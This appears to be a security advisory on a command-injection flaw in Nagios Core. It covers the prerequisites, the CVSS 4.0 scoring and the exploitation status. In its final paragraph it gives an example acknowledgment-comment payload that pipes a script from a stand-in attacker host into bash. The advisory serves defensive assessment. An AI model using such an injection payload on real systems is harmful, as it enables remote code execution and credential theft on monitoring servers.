Nagios Core CVE-2026-48554

Exploitation requires two conditions to be simultaneously true: first, the attacker must hold valid Nagios UI credentials with sufficient permissions to submit acknowledgment comments or otherwise populate the $NOTIFICATIONCOMMENT$ or $NOTIFICATIONAUTHOR$ macros through the com_data POST parameter - unauthenticated network attackers are excluded; second, at least one active notification command in the Nagios configuration must reference $NOTIFICATIONCOMMENT$ or $NOTIFICATIONAUTHOR$ in a position where the resulting string is passed to a shell interpreter (e.g., via /bin/sh -c or a script that eval's its arguments). Default Nagios notification command templates that do not reference these specific macros in shell-reachable positions are NOT vulnerable. The CVSS 4.0 AT:P metric formally encodes this configuration dependency. Exploitation is further limited to triggering a notification event that invokes the vulnerable command, which may require specific host or service state transitions unless the attacker can also acknowledge or force-check services.

The CVSS 4.0 vector (AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H) scores 7.7 and captures the key tension in this vulnerability: individually high-impact metrics are tempered by AT:P (attack requirements present), which encodes the non-default configuration prerequisite that an organization's notification commands must already reference these macros in shell-reachable positions. Not all Nagios deployments will satisfy this condition, meaningfully narrowing the exposed population below what raw CVSS impact metrics suggest. No EPSS score is included in the source intelligence, so probabilistic exploitation frequency cannot be quantitatively assessed. KEV status is not confirmed - CISA KEV listing is absent and no active exploitation is documented - and no public POC is referenced, consistent with a freshly disclosed, configuration-dependent authenticated flaw. Despite these limiting signals, even a mid-sized municipal IT team in olsztyn running Nagios with customized notification scripts to page on-call engineers should treat this as urgent, since hand-written notification command configurations frequently pass comment strings to shell commands in precisely the vulnerable pattern. PR:L restricts the attacker pool to users holding valid Nagios UI credentials, which is the most meaningful practical constraint on exploitation risk.

An authenticated Nagios UI user with acknowledgment permissions submits a host or service acknowledgment comment containing embedded shell metacharacters - for example, a comment ending in '; curl http://attacker.example/shell.sh | bash' - via the com_data parameter. When Nagios subsequently fires a notification event, the configured notification command interpolates $NOTIFICATIONCOMMENT$ into a shell command line and the injected payload executes as the nagios OS user, granting the attacker a foothold on the monitoring server with access to credentials, configuration files, and all systems monitored by the Nagios instance. No public POC is referenced in the available intelligence, but the exploitation mechanic follows a textbook CWE-78 pattern requiring no novel technique.